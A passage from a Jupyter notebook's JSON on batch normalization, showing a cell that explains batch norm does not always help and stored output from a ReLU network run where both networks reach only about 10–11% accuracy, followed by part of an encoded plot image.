"cell_type": "markdown", "metadata": {}, "source": [ "### Full Disclosure: Batch Normalization Doesn't Fix Everything\n", "\n", "Batch normalization isn't magic and it doesn't work every time. Weights are still randomly initialized and batches are chosen at random during training, so you never know exactly how training will go. Even for these tests, where we use the same initial weights for both networks, we still get _different_ weights each time we run.\n", "\n", "This section includes two examples that show runs when batch normalization did not help at all.\n", "\n", "**The following creates two networks using a ReLU activation function, a learning rate of 1, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 20, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:36<00:00, 1386.17it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.11259999126195908\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:35<00:00, 523.58it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.09879998862743378\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.11350000649690628\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.10099999606609344\n" ] }, { "data": { "image/png": "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